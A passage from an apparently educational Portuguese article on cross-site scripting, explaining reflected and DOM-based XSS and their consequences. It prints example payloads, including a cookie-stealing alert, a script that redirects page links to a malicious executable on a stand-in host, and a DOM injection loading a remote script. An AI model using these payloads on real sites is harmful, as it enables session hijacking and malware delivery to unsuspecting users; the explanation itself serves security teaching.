de uma solicitacao com codigo a ser inserido embutido e refletido para o usuario alvo que faz a solicitacao. O codigo HTML inserido e entregue para aplicacao e devolvido como parte integrante do codigo de resposta, permitindo que seja executado de maneira arbitraria pelo navegador do proprio usuario.Este ataque geralmente e executado por meio de engenharia social, convencendo o usuario alvo que a requisicao a ser realizada e legitima. As consequencias variam de acordo com a natureza da vulnerabilidade, podendo variar do sequestro de sessoes validas no sistema, roubo de credenciais ou realizacao de atividades arbitrarias em nome do usuario afetado.Exemplo de XSS refletido:Tome-se como exemplo um aplicativo web que receba um parametro nome contendo a identificacao do usuario legitimo e apresente o conteudo sem quaisquer filtros:http://www.vul.site/welcome.html?name=fulanoecho <h1>Ola usuario + getParameter(name) + </h1>';Considere que um usuario mal intecionado altere o atalho para incluir um codigo arbitrario a ser executado no navegador do usuario alvo:http://www.example.com/welcome.html?name=<script>alert(document.cookie)</script>Se um usuario legitimo e com acesso ao aplicativo vulneravel realizar a requisicao acima, o codigo javascript alert(document.cookie) sera executado sem ressalvas no navegador do usuario alvo.Outros exemplos de ataque podem incluir a substituicao de todos os links validos do aplicativo web pode um referencia a um arquivo executavel contendo um virus ou um cavalo de troia:http://www.example.com/welcome.html?name=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>Efeito do ataque:Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades de XSS que afetam aplicativos web na Internet.Baseados no DOM (DOM based)O Document object Model (DOM) e o padrao utilizado para interpretar o codigo HTML em objetos a serem executados pelos navegadores web. O ataque de XSS baseado no DOM permite a modificacao de propriedades destes objetos diretamente no navegador do usuario alvo, nao dependendo de nenhum interacao por parte do servidor que hospeda o aplicativo web.Diferentemente do ataque de XSS persistente ou refletido, o ataque baseado em DOM nao necessita de interacoes diretas com o aplicativo web e utiliza-se de vulnerabilidades existentes na interpretacao do codigo HTML no ambiente do navegador do usuario alvo.Exemplo de XSS baseado em DOM:Tome-se como exemplo um aplicativo que contem um javascript que escolhe o tipo de estilo a ser utilizado de acordo com o parametro passado pelo usuario:<script>var estilo = style + location.hash + .css;document.write(<link rel="stylesheet" type="text/css" href= + estilo + " />);</script>Agora tome-se como exemplo um link construido de maneira a carregar um codigo arbitrario, conforme exemplo abaixo:http://vitima.com/teste.html#><script src=http://bad/bad.js></script>Quando executado no navegador do usuario, a referencia acima sera utilizada para inserir um script mal intencionado no contexto do aplicativo web, sem o conhecimento do aplicativo web afetado (pelo lado do servidor).Qual o impacto e as principais consequencias do ataque?Os ataques de XSS sao frequentemente utilizados para causar danos aos usuarios legitimos de um aplicativo vulneravel. Para a corporacao, o impacto da vulnerabilidade de XSS e principalmente sua imagem e a possibilidade de utilizacao da falha para a distribuicao de phishing e facilitacao de fraudes.Dentre as principais consequencias para o usuario afetado, incluem:Sequestro de sessao de usuarios;Alteracao do codigo HTML do aplicativo (visivel somente do lado do cliente);Redirecionar o usuario para sites maliciosos;Alteracao do objeto DOM para